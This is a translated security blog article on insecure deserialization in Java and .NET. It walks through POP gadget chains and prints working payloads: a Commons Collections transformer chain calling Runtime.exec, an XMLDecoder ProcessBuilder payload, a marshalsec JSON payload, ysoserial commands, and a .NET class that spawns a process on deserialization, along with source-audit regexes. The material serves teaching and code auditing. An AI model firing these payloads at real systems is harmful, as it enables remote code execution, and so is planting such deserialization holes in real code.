暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

【翻译】最大的安全威胁:反序列化

StepSnail 2021-10-17
919

【翻译】原文链接:Serialization: the big threat | CyberSecurity Blog (klezvirus.github.io)

        近几年来,影响面向对象编程语言的一个新兴安全问题是”不安全的反序列化“。有关这个问题已有大量的研究资料,但是,本文将会对该漏洞和常用的利用方式和检测方法进行简要而精确的解释。此外,我们将会分析如果将这种利用方法应用到不同的编程语言中。

1 什么是序列化?

对象序列化,也称为”marsalling(编码)“,是一个转换对应状态的过程,是一种任意复杂数据结构形式,易于传送,可存储在可数据库中或文本文件中(通过序列化字符串实现)。序列化对象可以通过相反的过程重建还原,称之为反序列化,或”unmarshalling(解码)“,它产生一个与原始对象在“语义上”相同的对象。


仅从定义来看,这似乎是一个简单的过程;事实上却恰恰相反,序列化是一种低级技术,它违反了封装特性并破坏了抽象数据类型的不透明性。在许多编程语言中,序列化是原生支持的(通常在核心库中),因此不需要额外开发代码。

本文将研究且支持反序列化的编程语言如下:

  • Java

  • .NET

  • PHP

  • Python

  • NodeJS

  • Ruby

序列化生成的结果称之为存档,或存档介质。序列化存档格式主要为以下三类:

  1. 文本格式:作为文本字符流。典型示例包括原始文本格式、JavaScript Object Notation(JSON格式)和可扩展标记语言(XML)。

  2. 二进制:作为字节流。二进制格式更依赖于实现且没有那么标准化。

  3. 混合或原生:如PHP序列化,python pickle等。混合格式介于以上两种格式之间,具有全部或部分人类可读性。

以下是序列化(JAVA)的几个例子:


2 反序列化:我需要了解什么?

对于反序列化,首先需要知道的是,仅仅使用它不会导致源代码受到漏洞攻击。正如在代码开发中发现的许多其他示例一样,可以安全地实现应用程序。这个概念导致了”不安全反序列化“的定义,实际上,它是一系列因素的组合,从而允许反序列化过程的利用。

不安全反序列化背后的主要思想是,在某些条件下,用户可以在反序列化过程中强制程序加载任意类对象。不同强制加载类的内容,可以实现不同的输出:拒绝服务、远程代码执行等。

但这些条件是什么?利用反序列化过程所需的条件可能因所设计的语言和平台的不同而有所差异。

此时需要引入POP Gadget的概念。通俗来讲,一个gadget是一段代码(即属性或方法),由程序实现,可在反序列化过程中被调用。这些gadget可以进一步组合/链接,从而调用其他类或执行其他代码。所以,一组gadget可能足以调用该编程语言提供的任意函数,在这种情况下,攻击者可使用POP链在目前程序上实现RCE。

如果读者熟悉高级二进制开发,其概念与ROP gadget非常相似,使用POP(面向属性编程,Property Oriented Programming)而不是ROP(面向返回编程,Return Oriented Programming)。

为了给出更精确的定义,POP gadgets是具有以下特征的类或类的一部分:

  • 可以序列化

  • 具有公共/可访问的属性(类变量,稍后会看到)

  • 实现特定的易受攻击的方法【与语言相关】

  • 【可见性约束】可访问其他的”可调用“类

注:术语【可见性约束】是指在反序列化过程中POP gadget能被应用程序访问。如果应用程序无法找到可利用的类(模块未加载、版本不匹配、沙箱、被更改的标准库等),则POP链将无法执行。

在继续下一步之前,有必要定义反序列化漏洞利用的通用结构:

  1. 在应用程序中寻找一个用户可控、以进行反序列的端点

  2. 寻找可利用的Gadget

  3. 开发一个序列化器来构建有效负载(现成工具可用)

  4. 在可控的端点处使用payload

示例代码说明:

本文所有示例代码均在Windows机器上进行了测试

本文所有代码都可以在GitHub仓库中找到,https://github.com/klezVirus/klezVirus.github.io/tree/master/The_Big_Problem_of_Serialisation

2.1 JAVA

接下来的章节中将重点讨论基于JAVA的反序列化问题,并按序列化存储格式进行划分。

2.1.1 Java: 二进制存储格式

在 JAVA 中,对象只有在其类实现 java.io.Serializable
接口时才能被序列化。用于序列化对象的最常用方法是使用 ByteStreams
。下面提供了一个简单的例子

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Desert implements Serializable{

   private static final long serialVersionUID = 1L;
   public String name;
   public int width;
   public int height;

   public Desert(String name, int i, int j) {
       // Constructor
       this.name = name;
       this.width = i;
       this.height = j;
  }

   public static void Deserialize() {
       try{
           //Creating an input stream to reconstruct the object from serialised data
           ObjectInputStream in=new ObjectInputStream(new FileInputStream("de.ser"));
           Desert desert=(Desert)in.readObject();
           // Showing the data of the serialised object
           System.out.println("The desert: " + desert.name);
           System.out.println("Has a surface of: " + String.valueOf(desert.width*desert.height) );
           // Closing the stream
           in.close();
          }catch(Exception e){
               System.out.println(e);
              }
          }

   public static void Serialize() {
       try {
           // Creating the object
           Desert desert = new Desert("Mobi", 2000, 1500);
           // Creating output stream and writing the serialised object
           FileOutputStream outfile = new FileOutputStream("de.ser");
           ObjectOutputStream outstream = new ObjectOutputStream(outfile);
           outstream.writeObject(desert);
           outstream.flush();
           // closing the stream
           outstream.close();
           System.out.println("Serialized data saved to de.ser");
      } catch (Exception e) {
           System.out.println(e);
      }
  }
   
   public static void main(String args[]) {
       boolean serialize = true;
       
       if (serialize) {
           Desert.Serialize();
      } else {
           Desert.Deserialize();
      }
  }
}

执行后,将生成以下文件:

$ hexdump.exe -C de.ser
00000000 ac ed 00 05 73 72 00 06 44 65 73 65 72 74 31 91 |....sr..Desert1.|
00000010 71 33 04 c2 c7 18 02 00 03 49 00 06 68 65 69 67 |q3.......I..heig|
00000020 68 74 49 00 05 77 69 64 74 68 4c 00 04 6e 61 6d |htI..widthL..nam|
00000030 65 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 |et..Ljava/lang/S|
00000040 74 72 69 6e 67 3b 78 70 00 00 05 dc 00 00 07 d0 |tring;xp........|
00000050 74 00 04 4d 6f 62 69                             |t..Mobi|
00000057

起始字节 ac ed 00 05 是 JAVA 序列化对象的签名特征。应该注意的是,Deserialize 函数调用了 JAVA 的潜在可利用函数之一 readObject()。在反序列化过程中(通过 readObject() 函数),序列化对象的属性被递归访问,直到每个属性都被读取。这个过程是由于序列化会对原始对象的进行完整精确克隆的性质而产生的结果,每个属性都必须被读取并重新实例化。

如何利用这个过程?基本上,通过将任意嵌套对象传递给 readObject() 函数,强制应用程序实例化 POP gadgets将导致 RCE 。可以利用的 POP gadgets可能因应用程序 的CLASSPATH 而有所不同(因为任何gadgets函数都必须在类路径上才能被实例化 [可见性约束])。POP 链使用不透明的类顺序,以便使用反射链接后续类,即使事先不了解这些类和方法,也允许动态加载类和方法。用于创建链的常用模式是 DynamicProxy 模式,可以在此处找到更多详细信息。https://docs.oracle.com/javase/8/docs/technotes/guides/reflection/proxy.html

下面是一个非常基本的 DynamicProxy 实现示例:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Map;

public class DynamicProxy implements InvocationHandler {
         
  @Override
  public Object invoke(Object proxy, Method method, Object[] args)
    throws Throwable {
      System.out.println("Invoked method: " + method.getName());
      return method.getName();
  }

  public static void main(String args[]) {
      Map proxyInstance = (Map) Proxy.newProxyInstance(
      DynamicProxy.class.getClassLoader(),
      new Class[] { Map.class },
      new DynamicProxy());
       
      System.out.println(proxyInstance.toString());
  }  
}

以上,将产生以下输出:

Invoked method: toString
toString

如上所示,调用proxy 的方法时会执行 invoke 函数中包含的任何代码。使用这种方法,可以在调用特定方法时强制执行任意代码。

应该注意的是map 的使用是任意的,任何可以在其位置使用的对象类。

另一个有用的模式(技术上更像是一个类而不是一个模式)是 ChainedTransformer 类,它对于理解在反序列化期间如何触发远程代码执行至关重要。

在 JAVA 中,Transformer是一个类,它接受一个对象并返回一个新的对象实例。例如,一个chained的transformer可以将多个transformer链接在一起以按顺序多次转换一个对象。要了解如何使用它来达到 RCE,可以以以下代码为例:

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ExeCmdInvokerTransformer {
   
  public static void main(String args[]) {
       
      final String[] execArgs = new String[]{"cmd c calc"};
       
      Chain to transform object in -> ((Runtime)Runtime.class.getMethod("getRuntime").invoke(Object.class, null)).exec("cmd c calc");
      Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",
              new Class[]{String.class, Class[].class},
              new Object[]{"getRuntime", new Class[0]}),
          new InvokerTransformer("invoke",
              new Class[]{Object.class, Object[].class},
              new Object[]{null, new Object[0]}),
          new InvokerTransformer("exec",
              new Class[]{String.class},
              execArgs
                ),
          new ConstantTransformer(1)};
       
      Transformer transformerChain = new ChainedTransformer(transformers);
       
      Testing the transformer
      Object object = new Object();
      transformerChain.transform(object);
  }
}

上面,chain transformer接受任意对象,调用运行时 exec,并执行任意命令(在本例中为 cmd c calc)。

最后一个重要的“模式”是“key creation via LazyMap key search miss”。

JAVA 中的 LazyMap 是一个装饰器(可以应用于对象的函数,在本例中为 Map),只要在 Map 中请求键,它就会执行,调用transformer。术语“lazy”是指用 LazyMap 装饰器装饰的map 从一开始就没有由 (key, value) 键值对填充,但是一旦第一次调用map key 会强制transformer 执行,它就会被填充,为请求的键获取正确的值。以下示例可能有助于理解该过程的工作原理:

import java.util.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;

public class HowLazyMap {
   
  public static void main(String args[]) {
  Create a Transformer to get random areas
      Transformer randomArea = new Transformer( ) {
          public Object transform( Object object ) {
              String name = (String) object;
              Random random = new Random();
              return random.nextDouble();
          }
      };

      Create a LazyMap called desertAreasLazy, which uses the above Transformer
      Map deserts = new HashMap( );
      Map desertAreasLazy = LazyMap.decorate( deserts, randomArea );
       
      Set name to fetch
      String desertName = "Gobi";
       
      System.out.println(String.format("Deserts contains %s? Result: %s", desertName, deserts.get(desertName)));  
       
      Get name, print area
      String area = (String) String.valueOf(desertAreasLazy.get( desertName ));
      System.out.println( "Area: " + area );

      System.out.println(String.format("Deserts now contains %s? Result: %s", desertName, deserts.get(desertName)));
  }
}

结果将是这样的:

Deserts contains Gobi? Result: null
Area: 0.8610944732469801
Deserts now contains Gobi? Result: 0.8610944732469801

展示了 LazyMap 使用“lazy”方法填充 HashMap。

如何将上述内容链接起来以利用反序列化过程?

简单来说,可以构建一个gadget 链来创建一个 LazyMap,设置一个动态代理来hook 一个键的创建,并在hook 上执行一个链接的transformer 。进一步提供了使用 CommonsCollection 的更详细示例。

2.1.2 动态生成payloads :Ysoserial

多年来,确定了一组可用于构建 POP 链的通用库。这些库称为gadget 库。

这些公共库可以使用一个名为 ysoserial 的非常强大的工具自动生成漏洞利用负载,可在此处获得。https://github.com/frohoff/ysoserial

下面列出了可用的有效载荷:

 Payload             Authors                                Dependencies
    -------             -------                               ------------
    BeanShell1         @pwntester, @cschneider4711           bsh:2.0b5
    C3P0               @mbechler                             c3p0:0.9.5.2, mchange-commons-java:0.2.11
    Clojure             @JackOfMostTrades                     clojure:1.8.0
    CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
    CommonsCollections1 @frohoff                               commons-collections:3.1
    CommonsCollections2 @frohoff                               commons-collections4:4.0
    CommonsCollections3 @frohoff                               commons-collections:3.1
    CommonsCollections4 @frohoff                               commons-collections4:4.0
    CommonsCollections5 @matthias_kaiser, @jasinner           commons-collections:3.1
    CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
    CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
    FileUpload1         @mbechler                             commons-fileupload:1.3.1, commons-io:2.4
    Groovy1             @frohoff                               groovy:2.3.9
    Hibernate1         @mbechler
    Hibernate2         @mbechler
    JBossInterceptors1 @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
    JRMPClient         @mbechler
    JRMPListener       @mbechler
    JSON1               @mbechler                             json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
    JavassistWeld1     @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
    Jdk7u21             @frohoff
    Jython1             @pwntester, @cschneider4711           jython-standalone:2.5.2
    MozillaRhino1       @matthias_kaiser                       js:1.7R2
    MozillaRhino2       @_tint0                               js:1.7R2
    Myfaces1           @mbechler
    Myfaces2           @mbechler
    ROME               @mbechler                             rome:1.0
    Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
    Spring2             @mbechler                             spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
    URLDNS             @gebl
    Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
    Wicket1             @jacob-baines                         wicket-util:6.23.0, slf4j-api:1.6.4

以上面提供的反序列化示例为例,读者可以尝试使用 ysoserial 和 CommonsCollections7 生成有效负载:

$ ysoserial CommonsCollections7 "cmd c calc.exe" > ./Serialize/de.ser

但是,如果针对示例使用,则有效负载将不起作用,显示 java.lang.ClassNotFoundException: org.apache.commons.collections.map.LazyMap 异常。原因是“可见性约束”。有效载荷 CommonsCollection7 使用 CommonsCollections:3.1,它不是标准 JAVA SDK 的一部分,这意味着无法找到构建所需链的 POP  gadgets 。为了使其正常工作,读者应确保将此依赖项添加到应用程序类路径中。可以在此处(https://github.com/klezVirus/klezVirus.github.io/tree/master/The_Big_Problem_of_Serialisation/java/Serialize)找到一个工作示例,其中添加了 org.apache.commons-collections:3.1 依赖项。

使用 ysoserial 生成的有效负载共享一个通用结构,通过Payload Runner 使用maps 来设置条件,并使用transformer 来实际构建和运行 OS 命令。

以下CommonsCollections7的执行情况:

剖析上面的代码:

  1. 使用 readObject(),JVM 在 ClassPath 中查找序列化对象的类。

  • 找不到类 -> 抛出异常(ClassNotFoundException)

  • 找到的类 -> java.util.Hashmap.reconsitutionPut 被调用

  1. 代码强制散列冲突,因此使用 equals 进行比较

  2. 装饰器将方法转发到 AbstractMap -> lazyMap

  3. lazyMap 尝试检索一个键等于“map”的值

  4. 由于该键不存在,lazyMap 实例继续尝试创建一个新键

  5. 由于在键创建过程中将 chainedTransformer 设置为执行,因此会调用带有恶意负载的chained transformer,从而导致远程代码执行。

2.1.3 Java:基于文本的存储格式

当然,这个问题不仅仅影响二进制存储格式,还可以扩展到基于文本的序列化存储格式。本文研究的两种格式是 XML 和 JSON。

1)XML

XML 序列化/反序列化由 XMLEncoder/XMLDecoder 和 XStream 类等提供。众所周知,这些类容易受到导致 RCE 的反序列化问题的影响。

让我们考虑以下示例:

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;

public class DesertXML {
   
  public static void main(String[] args) throws Exception {
       
      XMLDecoder decoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("desert.xml")));

      Deserialise object from XML
      Object desert = decoder.readObject();
      decoder.close();
       
      System.out.println("The desert: " + ((Desert)desert).getName());
      System.out.println("Has a surface of: " + String.valueOf(((Desert)desert).getWidth()*((Desert)desert).getHeight()) );

  }
   
  public static class Desert {
       
      private String name;
      private int width;
      private int height;

      **
        * Getters and Setters
        */
      public String getName() {
          return name;
      }
      public void setName(String name) {
          this.name = name;
      }
      public int getWidth() {
          return width;
      }
      public void setWidth(int width) {
          this.width = width;
      }
      public int getHeight() {
          return height;
      }
      public void setHeight(int height) {
          this.height = height;
      }    
  }
}

应用程序尝试通过从外部 XML 文件加载 Desert 对象来实例化它。从 XMLDecoder 类调用 readObject() 而不是 XML 解析器。

对于前面的示例,可以以最适合执行任意代码的方式强制应用程序加载任意类。在这种情况下,可以加载 JAVA 用于与操作系统交互的类,例如 java.lang.Runtime 或 java.lang.ProcessBuilder。通过使用这些类,应用程序将友好地启动新进程,执行任意代码。下面提供了一个有效负载示例:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_241" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
        <void index="0">
            <string>cmd</string>
        </void>
        <void index="1">
            <string>/c</string>
        </void>
        <void index="2">
            <string>calc</string>
        </void>
    </array>
  <void method="start" id="process">
  </void>
</void>
</java>

2)JSON

当然,JSON 格式也不是没有这种漏洞。然而,JSON 的主要问题是 JAVA 中存在支持自动序列化/反序列化的不同库,且并非所有库都同样容易受到这种攻击。选择作为以下示例的库是 JsonIO (json-io)。

以下代码将用作易受攻击的 JSON 反序列化的概念验证:

public class DesertJSON {
   
  public static void main(String[] args) throws Exception {

      Read JSON as a string
      String json = new String(Files.readAllBytes(Paths.get("desert.json")));
      Deserialising        
      Object desert = JsonReader.jsonToJava(json);

      System.out.println("The desert: " + ((Desert)desert).getName());
      System.out.println("Has a surface of: " + String.valueOf(((Desert)desert).getWidth()*((Desert)desert).getHeight()) );
  }
   
  public static class Desert {
       
      private String name;
      private int width;
      private int height;
       
      **
        * Getters and Setters
        */
      public String getName() {
          return name;
      }
      public void setName(String name) {
          this.name = name;
      }
      public int getWidth() {
          return width;
      }
      public void setWidth(int width) {
          this.width = width;
      }
      public int getHeight() {
          return height;
      }
      public void setHeight(int height) {
          this.height = height;
      }    
  }
}

JsonIO (json-io) 的主要弱点是它允许使用 @type 键在 JSON 正文中指定要反序列化的对象的类型。如果未验证类型,则可以强制应用程序加载任意类。利用原理与其他类型的反序列化问题相同,唯一需要的是找到一个 POP 链来实现 RCE。

2.1.4 动态生成有效载荷:marshalsec

在这项研究(https://github.com/no-sec-marko/marshalsec/blob/master/marshalsec.pdf)中,M. Becheler 列举了各种 JSON 库和每种利用 RCE的方法。作为研究的一部分,他提供了一个有意思的工具,可以为这些库自动生成有效载荷。例如,考虑存在漏洞的反序列化,可以生成以下有效载荷:

$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"

{"@type":"java.util.Arrays$ArrayList","@items":[{"@id":2,"@type":"groovy.util.Expando","expandoProperties":{"@type":"java.util.HashMap","hashCode":{"@type":"org.codehaus.groovy.runtime.MethodClosure","method":"start","delegate":{"@id":1,"@type":"java.lang.ProcessBuilder","command":{"@type":"java.util.ArrayList","@items":["cmd","/c","calc"]},"directory":null,"environment":null,"redirectErrorStream":false,"redirects":null},"owner":{"@ref":1},"thisObject":null,"resolveStrategy":0,"directive":0,"parameterTypes":[],"maximumNumberOfParameters":0,"bcw":null}}},{"@type":"java.util.HashMap","@keys":[{"@ref":2},{"@ref":2}],"@items":[{"@ref":2},{"@ref":2}]}]}

如果使用存在漏洞的反序列化方式打开,主机上将弹出一个计算器。

2.1.5 源码审计小技巧

要找到这种漏洞,通常只需在代码中搜索常见的正则表达式,例如:

  • .*readObject\(.*

  • java.beans.XMLDecoder

  • com.thoughtworks.xstream.XStream

  • .*\.fromXML\(.*\)

  • com.esotericsoftware.kryo.io.Input

  • .readClassAndObject\(.*

  • .readObjectOrNull\(.*

  • com.caucho.hessian.io

  • com.caucho.burlap.io.BurlapInput

  • com.caucho.burlap.io.BurlapOutput

  • org.codehaus.castor

  • Unmarshaller

  • jsonToJava\(.*

  • JsonObjectsToJava\/.*

  • JsonReader

  • ObjectMapper\(

  • enableDefaultTyping\(\s*\)

  • @JsonTypeInfo\(

  • readValue\(.*\,\s*Object\.class

  • com.alibaba.fastjson.JSON

  • JSON.parseObject

  • com.owlike.genson.Genson

  • useRuntimeType

  • genson.deserialize

  • org.red5.io

  • deserialize\(.*\,\s*Object\.class

  • \.Yaml

  • \.load\(.*

  • \.loadType\(.*\,\s*Object\.class

  • YamlReader

  • com.esotericsoftware.yamlbeans

    对于每个匹配项,应该人工检查代码以查看被反序列化的对象是否可以被外部攻击者操纵。

2.1.6 其他受影响的库

如前所述,多年来,已经发现许多其他库受到此漏洞的影响。虽然研究所有这些库超出了本文的范围,需要的读者可以使用这些资源来进一步研究这个引人入胜的问题:

  • Kryo

  • XStream

  • AMF

  • YAML and Other

为了获得额外的参考资料和一个安全的靶场来利用这种漏洞进行练习,一位亲爱的朋友兼同事 Nicky Bloor 开发了一个很棒的易受攻击的实验室,称为 DeserLab

如果这还不够,他发布了一组出色的工具来帮助 Java 反序列化识别和利用:

  • SerializationDumper

  • SerialBrute

  • BaRMIe

Nicky 是一名代码审查专家,也是 JAVA 反序列化问题的主要专家之一,您可以在 此处了解有关他的工作的更多信息。

2.2 .NET

.NET 和 JAVA一样,多年来开发了不同的机制来支持对象序列化。类似于 Java,主要的存储格式是:

  • Binary

  • XML

  • JSON

2.2.1 .NET: 二进制存储格式

在.NET中,二进制序列化主要由System.Runtime.Serialization.Binary.BinaryFormatter提供。此类可以虚拟序列化任何标记为 [Serializable] 或直接实现 ISerializable 接口(允许自定义序列化)的类型。

以下 C# 代码可用于序列化/反序列化类 Desert(类似于 JAVA 示例):

using System;
using System.IO;
using System.Runtime.Serialization;
using
System.Runtime.Serialization.Formatters.Binary;
namespace BinarySerialization
{
  public static class BinarySerialization
  {
      private const string filename = "desert.ser";
      [STAThread]
      static void Main(string[] args)
      {
          Console.WriteLine();

          bool deserialize = false;
          if (deserialize)
          {
              BinarySerialization.desertDeserial(filename);
          }
          else
          {
              Delete old file, if it exists
              BinarySerialization.deleteFile(filename);
              BinarySerialization.desertSerial(filename);
          }
          Console.WriteLine();
          Console.WriteLine("Press Enter Key");
          Console.Read();
      }

      public static void deleteFile(string filname)
      {
          if (File.Exists(filename))
          {
              Console.WriteLine("Deleting old file");
              File.Delete(filename);
          }
      }

      public static void desertDeserial(string filename)
      {
          var formatter = new BinaryFormatter();
          Open stream for reading
          FileStream stream = File.OpenRead(filename);
          Console.WriteLine("Deserializing string");
          Deserializing
          var desert = (Desert)formatter.Deserialize(stream);
          stream.Close();
      }

      public static void desertSerial(string filename)
      {
          Create desert name
          var desert = new Desert();
          desert.name = "Gobi";
          Persist to file
          FileStream stream = File.Create(filename);
          var formatter = new BinaryFormatter();
          Console.WriteLine("Serializing desert");
          formatter.Serialize(stream, desert);
          stream.Close();
      }
  }

  [Serializable]
  public class RCE : IDeserializationCallback
  {
      private String _cmd;
      public String cmd
      {
          get { return _cmd; }
          set
          {
              _cmd = value;
              run();
          }
      }

      private void run()
      {
          System.Diagnostics.Process p = new System.Diagnostics.Process();
          p.StartInfo.FileName = _cmd;
          p.Start();
          p.Dispose();
      }

      public void OnDeserialization(object sender) {
          Run();
      }
  }

  [Serializable]
  public class Desert
  {
      private String _name;

      public String name
      {
          get { return _name; }
          set { _name = value; Console.WriteLine("Desert name: " + _name); }
      }
  }
}

运行序列化程序,将创建以下对象:

$ hexdump.exe -C desert.ser
00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |................|
00000010 00 0c 02 00 00 00 49 42 61 73 69 63 58 4d 4c 53 |......IBasicXMLS|
00000020 65 72 69 61 6c 69 7a 65 72 2c 20 56 65 72 73 69 |erializer, Versi|
00000030 6f 6e 3d 31 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 |on=1.0.0.0, Cult|
00000040 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 |ure=neutral, Pub|
00000050 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 6e 75 6c 6c |licKeyToken=null|
00000060 05 01 00 00 00 1a 42 69 6e 61 72 79 53 65 72 69 |......BinarySeri|
00000070 61 6c 69 7a 61 74 69 6f 6e 2e 44 65 73 65 72 74 |alization.Desert|
00000080 01 00 00 00 05 5f 6e 61 6d 65 01 02 00 00 00 06 |....._name......|
00000090 03 00 00 00 04 47 6f 62 69 0b                   |.....Gobi.|
0000009a

前 17 个字节是序列化对象的头部,包括:

RecordTypeEnum (1 byte)
RootId (4 bytes)
HeaderId (4 bytes)
MajorVersion (4 bytes)
MinorVersion (4 bytes)

如何利用?

该方法与应用于 JAVA 的方法非常相似,包括诱使应用程序加载任意对象,从而获得代码执行能力。为了做到这一点,必须找到一个合适的类或类链,它至少应具有以下属性(NW:不是标准定义):

  • 可序列化

  • 持有公共/可设置变量

  • 实现神奇的“功能”(我们将在下面看到一个示例),例如:

    Get/Set

    OnSerialisation

    Constructors/Destructors

更深入地查看上面的代码,可以看到这个类:

 [Serializable]
public class RCE : IDeserializationCallback
{
  private String _cmd;
  public String cmd
  {
      get { return _cmd; }
      set
      {
          _cmd = value;
          Run();
      }
  }

  public void Run()
  {
      System.Diagnostics.Process p = new System.Diagnostics.Process();
      p.StartInfo.FileName = _cmd;
      p.Start();
      p.Dispose();
  }

  public void OnDeserialization(object sender) {
      Run();
  }
}

这个类似乎满足了 Gadget 的要求,甚至可以单独使用来执行任意代码。为了实现它,序列化 RCE 类就足够了,给出一个有效的命令来执行:

using System;
using System.IO;
using System.Runtime.Serialization;
using
System.Runtime.Serialization.Formatters.Binary;
namespace BinarySerialization
{
  public static class BinarySerialization
  {
      private const string filename = "desert.ser";
      [STAThread]
      static void Main(string[] args)
      {
          Console.WriteLine();
          Delete old file, if it exists
          BinarySerialization.deleteFile(filename);
          Serialize RCE
          BinarySerialization.desertSerial(filename);
          Wait for Enter
          Console.WriteLine();
          Console.WriteLine("Press Enter Key");
          Console.Read();
      }

      public static void deleteFile(string filname)
      {
          if (File.Exists(filename))
          {
              Console.WriteLine("Deleting old file");
              File.Delete(filename);
          }
      }    

      public static void desertSerial(string filename)
      {
          Create desert name
          var desert = new RCE();
          desert.cmd = "calc.exe";
          Persist to file
          FileStream stream = File.Create(filename);
          var formatter = new BinaryFormatter();
          Console.WriteLine("Serializing desert (RCE)");
          formatter.Serialize(stream, desert);
          stream.Close();
      }

  }

  [Serializable]
  public class RCE : IDeserializationCallback
  {
      private String _cmd;
      public String cmd
      {
          get { return _cmd; }
          set
          {
              _cmd = value;
              run(); Disabled to avoid spawning a calc while serializing
          }
      }

      private void run()
      {
          System.Diagnostics.Process p = new System.Diagnostics.Process();
          p.StartInfo.FileName = _cmd;
          p.Start();
          p.Dispose();
      }

      public void OnDeserialization(object sender) {
          Run();
      }
  }
}

序列化将产生以下文件:

$ hexdump.exe -C desert.ser
00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |................|
00000010 00 0c 02 00 00 00 47 42 69 6e 61 72 79 53 65 72 |......GBinarySer|
00000020 69 6c 69 61 7a 65 72 2c 20 56 65 72 73 69 6f 6e |iliazer, Version|
00000030 3d 30 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 |=0.0.0.0, Cultur|
00000040 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 |e=neutral, Publi|
00000050 63 4b 65 79 54 6f 6b 65 6e 3d 6e 75 6c 6c 05 01 |cKeyToken=null..|
00000060 00 00 00 17 42 69 6e 61 72 79 53 65 72 69 61 6c |....BinarySerial|
00000070 69 7a 61 74 69 6f 6e 2e 52 43 45 01 00 00 00 04 |ization.RCE.....|
00000080 5f 63 6d 64 01 02 00 00 00 06 03 00 00 00 08 63 |_cmd...........c|
00000090 61 6c 63 2e 65 78 65 0b                           |alc.exe.|
00000098

一旦被应用程序反序列化,它会自动在应用程序托管服务器上生成一个计算器。

下一个问题是,是否有可能在不依赖“漏洞”RCE 类的情况下利用它?答案是肯定的,它可以通过 POP  gadgets来完成,类似于 JAVA。

唯一的例外是每个格式化程序都有自己的开发方法和gadgets。通俗来讲,在 .NET 中,每个格式化程序仅对某些对象类型可见,因此并非每个gadgets都可以与特定格式化程序一起使用(我们将在本文档后面看到一个手动示例)。

2.2.2 Generate payloads dinamically: ysoserial.net

多年来,创建了 ysoserial.net,它允许使用已知的 .NET  gadgets生成自动序列化的有效负载。该工具可在此处获得。

ysoserial.net 为各种 .NET 格式化程序生成反序列化有效负载。

Available formatters:
      ActivitySurrogateDisableTypeCheck (ActivitySurrogateDisableTypeCheck Gadget by Nick Landers. Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored.)
              Formatters:
                      BinaryFormatter
                      ObjectStateFormatter
                      SoapFormatter
                      NetDataContractSerializer
                      LosFormatter
      ActivitySurrogateSelectorFromFile (ActivitySurrogateSelector gadget by James Forshaw. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'.)
              Formatters:
                      BinaryFormatter
                      ObjectStateFormatter
                      SoapFormatter
                      LosFormatter
      ActivitySurrogateSelector (ActivitySurrogateSelector gadget by James Forshaw. This gadget ignores the command parameter and executes the constructor of ExploitClass class.)
              Formatters:
                      BinaryFormatter
                      ObjectStateFormatter
                      SoapFormatter
                      LosFormatter
      ObjectDataProvider (ObjectDataProvider Gadget by Oleksandr Mirosh and Alvaro Munoz)
              Formatters:
                      Xaml
                      Json.Net
                      FastJson
                      JavaScriptSerializer
                      XmlSerializer
                      DataContractSerializer
                      YamlDotNet < 5.0.0
      TextFormattingRunProperties (TextFormattingRunProperties Gadget by Oleksandr Mirosh and Alvaro Munoz)
              Formatters:
                      BinaryFormatter
                      ObjectStateFormatter
                      SoapFormatter
                      NetDataContractSerializer
                      LosFormatter
      PSObject (PSObject Gadget by Oleksandr Mirosh and Alvaro Munoz. Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017))
              Formatters:
                      BinaryFormatter
                      ObjectStateFormatter
                      SoapFormatter
                      NetDataContractSerializer
                      LosFormatter
      TypeConfuseDelegate (TypeConfuseDelegate gadget by James Forshaw)
              Formatters:
                      BinaryFormatter
                      ObjectStateFormatter
                      NetDataContractSerializer
                      LosFormatter
      TypeConfuseDelegateMono (TypeConfuseDelegate gadget by James Forshaw - Tweaked to work with Mono)
              Formatters:
                      BinaryFormatter
